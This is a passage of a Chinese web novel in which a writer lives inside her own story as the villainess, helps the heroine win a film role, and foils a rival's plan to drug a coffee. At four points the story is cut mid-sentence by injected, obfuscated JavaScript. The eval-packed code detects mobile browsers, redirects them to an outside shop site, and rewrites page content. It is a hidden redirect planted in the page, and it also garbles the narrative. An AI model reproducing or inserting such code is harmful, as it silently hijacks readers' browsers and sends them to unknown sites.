“我写作,是为了我自己和我的朋友们;我写作,是为了让光阴的流逝使我安心。”温晴念完,合上书:“为了那些让我得以成为自己的缓慢而黑暗的转变,沈棠,今天在这把椅子上,完成了她自己的转变,是她自己的拯救自己的结果。” 她转向陈总监。 “我想今天整体看下来《深渊》的女主沈棠大家应该没有太大的意见,如果你们有意见,可以换编剧。” 陈总监的脸色变了一下,但最终什么也没说。 温晴是《深渊》的灵魂,她的改编是圈内人士独树一帜的好评,没有她这个项目就是空壳,这一点所有人都清楚。 苏芷柔站起来,她的腿有点发软,但她努力让自己的声音听起来平稳。 “温晴老师,谢谢您。”说完,她向温情老师深深地鞠了一躬。 “不用谢我。”温晴重新坐回椅子里,端起了那杯有些苦涩的咖啡:“谢沈棠给我带来如此精彩的表演,还有……” 她抬眼看了苏芷柔一下。 “谢你自己,你给了她一个可以长出自己的空间,很多作……人都做不到这一点。” 苏芷柔走出试镜室的时候,沈棠和周曼同时站了起来。 “怎么样?”周曼的奶茶已经喝完了,手里只剩一个空杯子,被她捏得变了形。 苏芷柔看着沈棠。 沈棠站在那里,手里还攥着那颗草莓糖。 糖纸已经被手心的温度捂得完全皱掉了,粉红色的糖块隐约透出来。 她的眼眶有一点点红,但整个人站得很直,比任何时候都直。 “恭喜你沈棠,你过了!”苏芷柔激动地说。 沈棠眨了眨眼睛,看此刻的状态显然是还没反应过来,苏芷柔却已经高兴的拉周曼在她周围转圈圈了。 “《深渊》的女主是你了沈棠。” 周曼发出一声尖叫,整个人扑上去抱住了沈棠。 奶茶杯子被挤得飞出去,在地上滚了两圈。 走廊里其他等待试镜的女孩纷纷看过来,目光中有着很多情绪,其中还夹杂着一丝隐约的嫉妒,那种感觉就像是被一条毒蛇盯上了,它会先让你放松警惕,慢慢地一点点把你蚕食掉。 苏芷柔知道通过女主只是第一步,接下来她要做的事还有更多。 沈棠被周曼抱着,身体微微僵了一下,然后慢慢地把脸埋进了周曼的肩膀。 她没有哭泣的声音,但苏芷柔听见塑料糖袋的声音,低下头看见她的手攥紧了那颗糖,攥得非常非常紧。 她真的很争气! “苏芷柔。”她叫她的名字,声音有点哑。 “嗯?” “那颗糖……被我攥化了。” 她摊开手,掌心里,草莓糖已经被体温捂成了一小滩粉红色的糖浆,黏在皱巴巴的糖纸上,像一朵开败的花,不准确应该是曼陀罗,连糖果也在恭喜她重获新生! 苏芷柔看着那滩糖浆,忽然笑了。 “化了就化了。”她从帆布袋里掏出剩下的两颗,剥开一颗递给沈棠,另一颗塞进自己嘴里:“我这里还有很多。” 草莓糖在舌尖化开,甜得有点过分。 窗外的雨不知道什么时候停了。 阳光从云层的缝隙里漏下来,照在湿漉漉的玻璃上,折射出一小片模糊的彩虹。 那天晚上,苏芷柔回到公寓,打开了笔记本电脑。 文档的光标在第32章末尾一闪一闪。 她已经写完了“沈棠试镜《深渊》成功”的部分,但总觉得少了点什么。 温晴今天在试镜室里说的那些话还在她脑子里转。 ——“那是沈棠自己长出来的。” ——“你给了她一个可以长出自己的空间,很多作者都做不到这一点。” 苏芷柔把手指放在键盘上,想了很久。 然后她开始打字。 【第33章】 【沈棠走出盛世娱乐大厦的时候,雨已经停了,她站在台阶上,低头看着手心里那滩化掉的草莓糖,周曼在旁边叽叽喳喳地讲着电话,好像在跟谁汇报这个好消息,苏芷柔走在前面,撑着她那把透明的雨伞,伞尖在湿漉漉的地面上点出一串水花。】 【“苏芷柔。”沈棠叫住她。】 【苏芷柔回过头。】 【沈棠走下台阶,走到她面前。她伸出手,把那张黏糊糊的糖纸递过去:“帮我保管一下。”】 【“这有什么好保管的?”】 【“有。”沈棠说:“这是我自己第一次拿到的东西的证明。”】 【苏芷柔看了她几秒,然后接过那张糖纸,小心地折好,放进口袋里。】 【“行!等你当上影后,我裱起来挂工作室墙上。”】 【沈棠笑了一下。雨后的阳光落在她脸上,干干净净的。】 苏芷柔打完最后一个句号,停下来。 文档亮起了金色的光。 这一次,光比以往任何一次都要明亮,像一扇门被突然推开,阳光涌进来的感觉,先是刺眼,然后慢慢变得柔和。 系统提示音响起。 但这一次,不是加分。 【检测到剧情重大偏离。】 【女配值:85→72!!!扣除13点!】 【警告:女配值下降速度超出预期,请宿主注意维持人设!!!警告宿主不要妄图改写剧情!】 苏芷柔盯着那行字,心跳漏了一拍。 离60的警戒线只差12点了。 她做了那么多,拒绝作恶、拉拢女主、帮她拿下角色,系统给她的“奖励”是加分,因为那些行为可以被解释为“攀附权贵”“别有用心”。 但今天沈棠靠自己的即兴表演拿到了角色。 苏芷柔没有帮她改台词,没有用“预知”能力给她透题,甚至没有进试镜室。 她只是站在走廊里,攥着一颗草莓糖,等了她二十五分钟。 系统扣分了。 因为这是真正的偏离。 不是恶毒女配换了一种方式作恶,而是恶毒女配和女主之间,长出了系统无法归类的某种东西。 苏芷柔看着屏幕上的数字,慢慢地、慢慢地笑了。 “扣吧。”她对着空荡荡的房间说:“你扣得越多,越说明我走对了。” 窗外的城市在雨后安静地呼吸着。 文档里,第33章末尾的光标还在闪。 而她口袋里的手机忽然震了一下。 陆司珩的微信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485716|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只有一行字: “明天下午三点,老地方,记得带上沈棠的合约。” 苏芷柔盯着那行字看了几秒。 她忽然注意到,陆司珩的头像换过了。 以前是一个灰底白字的“陆”字,标准的商务风格,现在却换成了一个深蓝色的表盘。 和她记忆中的那块表,是同一个颜色。 苏芷柔盯着陆司珩的头像看了整整三分钟。 深蓝色的表盘,金属表带,表盘上有一道极细的裂纹,如果不是照片拍得足够清晰,几乎看不出来。 她慢慢放大图片,确认那道裂纹不是手机屏幕的划痕,而是表盘本身自带的。 她知道这块表,是一个重要的剧情转折点,关于女主和男主的感情线。 在原著第72章,陆司珩向沈棠坦白身世的那场戏里,他戴的就是这块深蓝色的表。 苏芷柔当时写了一句“那是他父亲留下的唯一遗物”,然后就一笔带过了,她写那场戏的时候正被编辑催更,根本没心思展开陆司珩的过去,只想赶紧把“男主敞开心扉”的剧情走完,好进入下一阶段的感情升温。 他在那个段落里,只是一个完成“深情男主”设定的工具。 而现在这个工具人自己把头像换成了那块表,她意识到可能真的是蝴蝶效应,有些东西慢慢变了,但说不清道不明,她也不知道该怎么办,有一种无形的力量在推着她往前走。 苏芷柔退出微信,打开文档,第33章末尾她写下“陆司珩今天换了一块银白色的表”之后,文档自动生成了下一行,她没写的那行:“陆司珩把银白色的表放回抽屉,拿出了深蓝色的那块。” 她把那行字选中,试图删除。 删不掉。 不是技术上的删不掉,删除键按下去,文字确实消失了。 但当她松开按键,文字又会像水渍渗回纸张一样,一笔一划地重新浮现。 苏芷柔试了五次,五次都失败了...... 她靠在椅背上,盯着屏幕上那行顽固的字,忽然想起温晴在书店后院问她的那个问题:“你改剧情,是用角色身份改,还是作者身份改?” 她当时没有完全理解那个问题的重量,现在她懂了。 用角色身份改,意味着她只是苏芷柔,一个试图挣脱原剧本的恶毒女配。 她的反抗再激烈,也只是在原书的框架内挣扎。 但用作者身份改意味着她要承认,自己就是那个创造了这个世界、写下了所有人命运的人。 意味着她要对苏芷柔的恶毒负责,对沈棠受过的每一次欺负负责,对陆司珩被简化成“冷漠霸总”负责。 而一旦她承认了自己是作者,她就不能再假装那些她没写的部分与她无关。 比如陆司珩为什么要换表。 比如那道裂纹是怎么来的。 比如他今天下午三点,打算告诉她什么。 手机又震了一下。 陆司珩:“带上沈棠的合约,陈总监也会在” 苏芷柔回复:“好” 她打完这个字,手指悬在屏幕上方,犹豫了很久,又打了一行:“你的头像换过了” 对方正在输入的状态持续了大约十秒。 最后只回了一个字:“嗯” 苏芷柔看着那个“嗯”字,忽然觉得有点想笑。 她写了陆司珩八万字的剧情,给了他无数句霸总台词: ——“女人,你在玩火” ——“我可以给你一切,也可以毁掉一切” ——“从今以后,你的眼泪归我管” 她写这些的时候手从不抖,评论区全是“啊啊啊男主好苏”。 现在他回了一个“嗯” 他不对劲?! 8. “你也有系统?” 下午两点四十五分,苏芷柔到国贸三期楼下的时候,沈棠已经在旋转门旁边等着了。 她穿了一件米白色的针织衫,头发还是低马尾,脸上化了淡妆,看起来应该是周曼的手笔,嘴唇上涂了一层很浅的豆沙色,看起来气色比试镜那天好了很多。 但她攥着手机的手指关节微微发白,暴露了表面的平静底下藏着多少紧张。 “紧张?”苏芷柔走过去。 沈棠点了点头,却马上又摇了摇头:“跟试镜不一样,那次是跟温晴老师,演得好不好都是自己的事,这次是签合同...”她顿了一下:“是你的工作室签我。我怕我火不了赚不回本,你会不会放弃我?” 苏芷柔差点被这句话逗笑。 “沈棠,”她站在旋转门前,看着沈棠的眼睛:“你听好了,第一:工作室签你不是做慈善,是因为你一定会红,别对自己丧失信心;第二:就算你真的赚不回本,那也是我这个老板眼光不行,不是你不行。第三......” 她从口袋里掏出一颗草莓糖,剥开,塞进沈棠手里。 “吃糖,开心一点!好歹你也是跟温晴老师合作了,别人想跟温晴老师合作都没机会呢!” 沈棠低头看着那颗糖,嘴角终于弯了一下:“芷柔,你到底买了多少颗?” “一整袋,周曼说我买多了,我说够吃。” 沈棠把糖含进嘴里,腮帮子鼓起一小块。 旋转门转动的时候,苏芷柔看见玻璃上映出她们两个人的影子,自己穿着那件雾蓝色衬衫,沈棠穿着米白色针织衫,一深一浅,像梵高画中两种颜色。 42层的电梯门打开时,陈总监已经在走廊里等着了。 他是盛世娱乐艺人经纪部的负责人,四十出头,头发梳得一丝不苟,穿着一件熨烫得没有一丝褶皱的白衬衫。 苏芷柔在原著里写过他,姓陈,出场两次,功能是“向男主汇报女主的最新动态”。 不过她没有给他起全名。 “苏小姐,沈小姐。”陈总监伸出手,笑容专业而温和:“陆总已经在里面了。” 他引着两人穿过走廊。 苏芷柔注意到他走路的时候脚步很轻,像是多年职业习惯养成的,在任何一个需要保持安静的场合,不打扰任何人。 她忽然有点愧疚,她写这个角色的时候,连名字都懒得给他起,那她回去一定好好给他起一个名字。 陆司珩的办公室和上次一样,黑白灰三色,落地窗外是北京城灰蓝色的天际线。 他坐在办公桌后面,面前摊着几份文件,听到脚步声,他抬起头。 苏芷柔的目光第一时间落在他的左手腕上。 银白色的表? 不是头像里那块深蓝色的,是上次见面时他戴的那块,表盘干干净净,没有任何裂纹。 她的心微微提了一下。 “坐。”陆司珩指了指对面的两把椅子。 沈棠在椅子上坐下,背挺得很直。 苏芷柔坐在她旁边,把帆布袋放在脚边,里面装着沈棠的合约草案、她的笔记本,以及剩下的小半袋草莓糖。 陈总监将一份正式合约推到沈棠面前。 签约条件苏芷柔昨晚已经看过电子版了:S级签约,五年,盛世娱乐和苏芷柔工作室联合运营。 沈棠的片酬分成比例、宣传资源配比、每年保证的影视项目数量,每一项都是新人能拿到的最优条件。 “沈小姐可以带回去请律师审阅,三天内签署即可。”陈总监说。 沈棠翻开合约,目光一行一行地往下扫。 她的阅读速度不快,但很仔细,每一页都会停顿足够长的时间。 翻到分成比例那一页时,她的手指停了一下。 “这个比例……”她抬起头看陈总监,又看了看陆司珩:“可是比我们之前谈的高了三个点!” 陈总监微微一笑:“陆总的意思。” 陆司珩没有接话。 他的目光落在沈棠手边,那颗草莓糖的糖纸被叠成了一个小小的正方形,压在水杯下面。 “以你的条件,”他终于开口,声音不紧不慢:“温晴说你值。” 沈棠沉默了两秒,然后低下头,在合约最后一页签了自己的名字:“那就祝我们合作愉快!” 陈总监收好合约,站起身:“那沈小姐,我带你去见一下宣传团队,他们有些基础资料需要跟你确认,大概半小时就行。” 沈棠看了苏芷柔一眼。苏芷柔点了点头。 办公室里只剩下两个人。 陆司珩站起来,走到落地窗前。 北京城的午后阳光被玻璃过滤成一层薄薄的暖色,落在他肩膀上,把银白色表盘照得微微发亮。 苏芷柔没有开口,她在等他先开口。 上一次在这里,是他问了她七分钟,这一次,也该轮到她了。 “你早上问我头像的事。”陆司珩背对着她,声音比平时低了一点:“我本来想回你一段话,打了几次,都删了。” “最后只回了一个‘嗯’” “嗯” 苏芷柔忍不住弯了一下嘴角:“那陆总你删掉的那些话,现在能说了吗?” 陆司珩转过身。 逆光中他的表情不太看得清,但苏芷柔感觉到他的目光落在自己脸上,像一片很薄的光,暖暖的却不刺眼。 “你上次说,这个世界是你写的书。”他说。 “对。” “那这块表,”他抬起左手,银白色的表盘在她眼前微微反光:“是你写的吗?” 苏芷柔看着那块表。 表盘是银白色的,极简设计,没有数字,只有三道极细的刻度。 表带是深灰色的皮质, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485717|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘有轻微的磨损痕迹,不是新的看着戴了有一段时间了。 她没有写过这块表。 她写的是深蓝色的那块,陆总父亲留下的遗物,陆总一直视如珍宝,从来不让任何人碰它,女主直到后来走进男主心里才能碰。 “并没有。”她说。 陆司珩点了一下头,像是对这个答案早有预料。 他把表摘下来放在掌心,递到她面前。 “这块表是我自己买的。”他说:“三年前,我接手盛世的第二年,那天签完一个并购案,路过王府井,橱窗里看到它。我站在外面看了十分钟,然后进去付了钱。” 苏芷柔低头看着那块表。 近距离看,表盘上有一道极浅的划痕,在左下角,不仔细看发现不了。 “你为什么要买它?” “因为我想试试。”陆司珩把表翻过来,背面刻着两个字,不是品牌logo,是两个很小很小的英文字母:S.W. “S.W.”苏芷柔念出来。 “盛世和我自己的缩写,我让店里刻的。” 他把表戴回手腕,动作很慢,像是在完成一个仪式。 “深蓝色的那块,是我父亲留下的,他走的那天戴着它。后来我把它摘下来,戴在自己手上,这一戴就是十年。” 苏芷柔没有说话。 这段她知道,在原著第72章,陆司珩对沈棠坦白:父亲在他十五岁那年去世,留给他一块表和一家濒临破产的公司。他用了十年时间把盛世做到今天的位置。那块表他从不离身。 她写这段的时候只用了五百字。 因为那章的重点不是陆司珩的过去,而是他用这段坦白向沈棠打开心扉,完成感情线上的一个关键推进。 “我戴那块表戴了十年,”陆司珩的声音很平:“不是因为我放不下,是因为我觉得我应该戴着它,父亲留下的东西,盛世的掌门人,就应该戴着。” 他停顿了一下。 “就像你写的。” 苏芷柔的呼吸停了一瞬。 “你写我冷漠矜贵,写我手腕上有一块从不离身的深蓝色手表,写那是父亲留下的遗物。”他看着她的眼睛:“你写的每一句话,我都活过。” 办公室里的空气忽然变得很薄。 “那你现在戴这块银白色的,”苏芷柔的声音有点干:“是想证明什么?” “不是证明。”陆司珩说:“是选择。” 他走到办公桌前,拉开最下面一层抽屉,里面躺着一块深蓝色的表盘,金属表带,和苏芷柔在头像里看到的一模一样。 但表盘正中间有一道裂纹,比照片上更明显,从中心延伸到八点钟方向,像一道干涸的河床。 “系统崩溃的那天晚上,”陆司珩说:“它裂了。” 苏芷柔猛地抬起头。 “你也有系统?” 9. 他的人生 “我没有,而是...”陆司珩把深蓝色的表拿出来,放在桌上,和手腕上银白色的那一块并排:“这个自称系统的东西寄居在我父亲留给我的表里面。” “从我有记忆起,做的每一个决定,都像是有人在替我选,签哪份合同应该用哪个人、该对谁好该对谁不好,我曾天真的把那当成是我对商业市场敏锐地直觉,直到你的出现,我才明白那不是直觉。” 他指了指深蓝色的表。 “这块表是假的,这里的一切都让我感到不真实,我还能相信什么?父亲留下的遗物从不离身,应该也是你写的。” 然后他指了指银白色的那块。 “这块是我自己买的,你总该没写过。” 苏芷柔的喉咙像是被什么东西堵住了。 她想起自己写陆司珩的时候,给他配了一块“父亲留下的深蓝色手表”。 她觉得这个细节很苏,很有故事感,能让男主的人设立体三分。 她写了,她从来没想过,对陆司珩来说那不是“有故事感的配饰” 那是他的人生。 他每天早晨打开抽屉,看到那块表,不由自主地戴上它,不是因为他想戴,是因为她的设定让他觉得“应该戴”。 距离他父亲去世十年,他也戴了十年。 “上次你在片场泼我咖啡,”陆司珩的声音忽然放轻了:“是我这辈子第一次遇到‘意外’” 苏芷柔看着他。 “你写的剧本里,苏芷柔应该泼沈棠,但你泼了我。那一刻我脑子里有什么东西断了,像一块常年被电池操纵的表针停了一下。” 他低下头,看着自己手腕上银白色的表盘。 “那天晚上,我把深蓝色的表摘下来,放进抽屉里,第二天去买了这块银白色的,你能告诉我这一切跟你有关吗?” “不,这应该跟我没关系。”苏芷柔声音有点哑。 “那就好。”陆司珩把深蓝色的表推到她面前:“这块表裂开,不是我摔的,是它自己裂开的,那天晚上我把它放进抽屉的时候还是好的,第二天早上打开,就是这样了。” 苏芷柔拿起那块表,裂纹从中心蔓延到边缘,像一道被冰封的闪电,表针停在三点十七分。 “系统崩溃的时候,我在里面看到了很多东西。”陆司珩说:“我看到了你对我的所有设定,‘冷漠矜贵’‘手腕上有一块深蓝色的表’‘从不离身’‘父亲遗物’:这些字像代码一样写在我里面。” “恭喜你陆总你有了一个独立健全的人格!不过你又是怎么打破的?” 陆司珩沉默了一会儿。 “我一直在想一件事,”他说:“那天在片场,你泼我咖啡的时候,表里可能进了水,不过最让我感到意外的是你!那日你是想泼沈棠吧,那为何有转变方向泼向我?” 苏芷柔不得不佩服商人的细节捕捉能力如此强,她不太敢回他,眼神一直在回避他的目光。 他把银白色表盘上那道极浅的划痕指给她看。 “这是我用钥匙刻的,我轻轻的一点点刻生怕怕刻坏了。” S.W.旁边,有一道几乎看不见的划痕。 苏芷柔凑近了才看清,那不是划痕,是两个字母:W.L. “苏芷柔,”他念她的名字:“你写了我十年,但你没写我会对谁产生好奇。” 他把银白色的表重新戴好,扣上表带,动作和之前一样慢,一样郑重。 “这一块,是我自己选的,我想按自己活一次。” 苏芷柔看着那块银白色的表,看着他手腕上那道极浅的S.Z.R.和W.L.,忽然觉得眼眶有点发酸。 她写过很多次男主对女主动心的瞬间,她写他们心跳加速、呼吸紊乱、目光不由自主地追随。 她写的时候会用很多形容词,例如悸动、滚烫、失控、沉沦。 她曾以为那就是爱情,真正的爱情就是道不清说不明的,可苏芷柔没有谈过恋爱母胎单身25年,朋友推过很多男性,她却总是太忙没有时间开启一段美好的恋爱。 现在陆司珩坐在她对面,手腕上戴着一块自己买的表,表盘上刻着她名字的缩写。 他没有心跳加速,没有呼吸紊乱,没有说任何一句她写过的霸总台词。 他只是给自己买了一块表,然后在表盘上刻了两个字母。 “陆司珩。”她叫他的名字。 “嗯” “那块深蓝色的表裂了,你打算怎么办?” 他低头看了一眼桌上那块停在三点十七分的表。 “这么多年一直都是它陪伴着我,今后它该休息了,不修了。” “为什么?”苏芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485718|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔还是感到有些震惊地,毕竟带了十年。 “因为从它停掉的那个时刻,”他把表收进抽屉:“我...陆司珩真正的活过来了,从今往后我该为自己活一次!” 抽屉合上的声音很轻。 苏芷柔的手机在口袋里震了一下。是沈棠发来的消息:“宣传资料填完了,陈总监人好好,给我点了一杯热可可。” 她打字回复:“在下面等我,我马上下来” 站起身的时候,她看了一眼陆司珩的抽屉。 那块深蓝色的表安静地躺在里面,表盘上的裂纹在抽屉合上前的最后一刻反了一下光。 “你那个头像,”她走到门口时停下来:“什么时候换的?” “今天早上,”陆司珩站在窗前,银白色的表盘在阳光下微微发亮:“我想让你看到那道裂纹。” “为什么?” 他转过身。 逆光中,他的表情终于清晰了,他没有做过曾经她作为作者,深深烙印在他身上的各种冷漠、矜贵,也不是她写过的任何一种样子,只是一个男人,站在自己办公室的落地窗前,手腕上戴着一块自己买的表。 “因为那道裂纹是我自己裂开的,不是任何人的操控。” 苏芷柔握着门把手,站了很久。 然后她推开门,走进了走廊里下午的阳光中。 回到公寓已经是傍晚。 苏芷柔把帆布袋放在床上,去厨房倒了杯水。 周曼给她发了十几条消息,全是关于沈棠合约的兴奋尖叫,最后一条是:“等等,陆司珩为什么换了头像?那个表盘上是不是有道裂纹?那是什么表??” 她没有回复。 她打开笔记本电脑,文档停在第33章末尾。 她写下“陆司珩今天换了一块银白色的表”之后,文档自动生成的那行字还在:“陆司珩把银白色的表放回抽屉,拿出了深蓝色的那块。” 但现在她知道,那不是真的,那只是世界想让她看见的东西,可变化中是来得很快,快到你不曾留意的瞬间,它就像一条泥鳅悄悄从你手心溜走,只留下余温。 【陆司珩没有把银白色的表放回抽屉。表盘上刻着W.L.,那是他自己刻的。深蓝色的表停在三点十七分,表盘裂开的瞬间,他决定把它永远留在了抽屉里......】 10. 恶毒女配ABCD...... 或许是最近的时光太过安逸,苏芷柔都没想起来接下来的剧情,不过好在她现在是沈棠的经纪人,可以随时保护沈棠。 下药事件发生的那个下午,北京难得晴得透彻,鸟儿叽叽喳喳地叫,跟着蝉鸣声此起彼伏,势要分出一个高低。 《深渊》开机前一周,沈棠在盛世娱乐的排练厅进行最后一轮剧本围读。 温晴坐在长桌尽头,手里转着一支钢笔,表情说不上满意还是不满意。 导演、制片、几个主要演员围坐一圈,气氛谈不上轻松,但至少专业。 苏芷柔坐在角落里,膝盖上摊着笔记本,手机调成静音。 她现在的身份是沈棠经纪人,有资格出现在任何工作场合。 她留意着沈棠今天的状态从进门开始,沈棠的左手就在桌下无意识地转右手的手腕,和试镜那天一模一样的动作。 苏芷柔低头在笔记本上写了一行字: “沈棠进入角色状态的动作标记:转手腕。” 思考片刻,她划掉了“进入角色状态”几个字,改成“变成林慎的时候” 手机震了一下,周曼的消息连发了三条。 “姐,方瑶来了。” “这谁了?” “??你在逗我吗?难道不是你安排的吗?”周曼疑惑。 “方瑶,听着很耳熟啊......”苏芷柔给周曼发过去这段话,就在自己手机通讯录里面翻找。 谁能告诉我——宇宙无敌大美女-方瑶是谁啊?苏芷柔按照自己的人设推断,恶毒女配身边怎么可能有好人啊!这也是个小可怜。点开原主为她的通讯录上精心设置的头像,天塌了,这怎么长得这么像她高中最好的闺蜜! 还没来得及为自己哀伤,周曼就立马给她说方瑶的方位。 “她往排练厅走了,手里拿着几杯咖啡。” 苏芷柔的瞳孔微微收缩,她可能都想起来了。 在苏芷柔写的原剧情中,方瑶是另一个恶毒女配,比苏芷柔更阴、更细密、更不露声色。 她不会做当面泼咖啡这种蠢事,她会在沈棠的水杯里放泻药,让她在试镜现场出丑。 原书里这场戏发生在第36章,沈棠因为“身体不适”错过重要试镜,苏芷柔在旁边幸灾乐祸,而真正的幕后推手方瑶全身而退,甚至在后续章节中继续陷害沈棠,直到大结局才被男主顺手收拾掉。 苏芷柔当时写这个角色的时候,想法很简单: 一个苏芷柔不够虐,再加一个!两个恶毒女配轮流上阵,读者越恨,点击越高,收益就越高! 现在方瑶站在排练厅门口,手里端着几杯咖啡。 苏芷柔合上笔记本,站起身。 “芷柔?”沈棠抬起头,转手腕的动作停了。 “没事,你继续围读,我出去透口气。” 她走到门口的时候,方瑶正好推门进来。 两个人几乎撞上。 方瑶比苏芷柔记忆中更高一些,或者说比她在文档里描写的“娇小玲珑”更高一些。 她穿着一件米色风衣,头发披散着,妆容精致但不过分,手里端着一个纸托,上面放着四杯咖啡。 看见苏芷柔,她微微一笑。 “芷柔姐,好久不见。” 苏芷柔没有让开:“方瑶,你来干什么?” “芷柔姐,我来干什么,你不该是最清楚的吗?”方瑶一阵嘲讽,可她脸上的笑容不变:“听说沈棠拿到《深渊》女主了,我来恭喜她,顺便请大家喝咖啡。”她把“咖啡”两个字咬得恰到好处,像任何一个来探班的后辈那样自然。 苏芷柔低头看了一眼那四杯咖啡,杯身上印着某连锁品牌的logo,封口完整,吸管单独放在一边。 原书第36章,方瑶在沈棠的奶茶里放了泻药。 方瑶不该买的咖啡,沈棠喜欢喝奶茶,方瑶应该投其所好买给她的奶茶,并且笑着说:“棠棠,给你买了你最爱喝的。” 沈棠毫无防备地接过去喝了。 半小时后她在试镜现场腹痛如绞,冲进卫生间,错过了最重要的那场戏。 苏芷柔写那场戏的时候,用了一个很细的细节:沈棠从卫生间出来,对着镜子整理衣服,眼眶红红的,但一滴眼泪都没掉。 她对着镜子中的自己说:“没关系,还有下一次...” 她从厕所走出去,对所有人笑着说:“不好意思,耽误大家时间了。” 评论区全是“心疼沈棠”、“方瑶能不能早点去死啊” 那是苏芷柔要的效果,读者越心疼女主,对方瑶的恨就越深,追更就越猛,这样他的收益才能达到最大化,就像网上说的那样,此招虽险但胜算却大。 现在方瑶站在她面前,手里端着咖啡,脸上是恰到好处的微笑,她不是苏芷柔写出来的那几行字,她会选咖啡而不是奶茶,因为排练厅附近只有咖啡店。 她买了四杯,因为不知道里面具体有几个人。她甚至在纸托边缘夹了一张便签,上面写着“恭喜开机——《深渊》大爆” 苏芷柔看着她,忽然意识到一件事,这四杯到底那一杯咖啡被下了泻药! 在原书里,方瑶的下药成功了,沈棠也错过了试镜机会。苏芷柔在旁边幸灾乐祸。陆司珩后来查出真相,把方瑶封杀了,但那是很久以后的事。 原文在第36章时方瑶是赢家,苏芷柔如果没有意外穿过来,可能方瑶确实是一位无可挑剔的恶毒女配赢家,但现在苏芷柔被善良的苏芷柔所替代,方瑶也一定不会得逞! 现在苏芷柔站在她面前,知道接下来会发生的一切,而方瑶不知道。 这是“作者”的特权,同时也是“作者”的诅咒。 “咖啡给我吧。”苏芷柔伸出手,她露出''和善''的微笑:“沈棠在围读,不方便喝东西,我帮她拿进去。” 方瑶的笑容顿了一下,似乎在思考些什么,然后她把纸托递过来:“那就麻烦芷柔姐啦!”苏芷柔就仅用了0.001就知道,方瑶打的是什么主意,不过是想让她当这个免费的替罪羊。 苏芷柔接过咖啡,纸托底部,方瑶的手指在某一杯的杯身上轻轻点了一下。极快,如果不是苏芷柔一直在看她的手,根本不会注意到。 那一杯是拿铁。 苏芷柔端着咖啡走进排练厅。 所有人的目光短暂地落在她身上,然后回到剧本上。 沈棠正在念一段林慎的独白,声音压得很低,像一个人在空房间里对自己说话。 温晴手里的铅笔停了。 苏芷柔把咖啡放在角落的桌上,拿起那一杯拿铁,走进卫生间,把咖啡倒进马桶。 液体冲下去的瞬间,她看见水面上浮起一层极细的白色粉末。 不是咖啡沫,咖啡沫可不会沉到水底。 她站在卫生间里,看着水流把最后一点粉末卷走。 然后她拿出手机,给周曼发消息:“帮我查一下,方瑶最近跟什么人见过面,尤其是一个姓孙的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485719|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 在苏芷柔的印象中,原书里给方瑶提供利尿剂的人。 一个地下诊所的中间商,在原著第47章被陆司珩的人查到。 苏芷柔当时为了写这段,专门查了泻药的种类和症状。 她写得很细,细到孙姐的电话号码前三位。 她现在还记得那个号码。 一小时后,周小曼回了消息。 “苏芷柔,你真神了!你怎么知道的?方瑶上周确实见了一个姓孙的女人。我托一个做娱记的朋友查了她的通话记录,有一个号码备注就是‘孙姐’,最近两周通话六次呢!” 苏芷柔看着这条消息,手指微微发凉。 不是因为她猜对了,是因为原书里的情节,在这个世界里正在发生一字不差。 她改变了苏芷柔的剧情,改变了沈棠的剧情,甚至改变了陆司珩。 但方瑶的剧情没有变。 她还是找了孙姐,还是买了泻药,还是选择在围读这天动手。 温晴说的“回响”,是真的。 这个世界有一股力量在维持原剧情。 系统吗?不,系统只是它的具象化。 应该还有更深层的东西。 苏芷柔当初写下的每一个字,都像石头扔进水里,涟漪会一圈一圈地扩散,直到抵达所有她写过的地方。 方瑶的剧情她没有改变,所以它发生了。 从日期到泻药的种类,再到方瑶敲开排练厅门时脸上那个恰到好处的微笑。 苏芷柔靠在卫生间的门板上,闭上眼睛。 她想起温晴在书店后院说的话:“你当初给这个故事塞了多少恶意,那些恶意现在都变成了真实。”她被这句话吓得一身冷汗。 方瑶本身不是坏人。 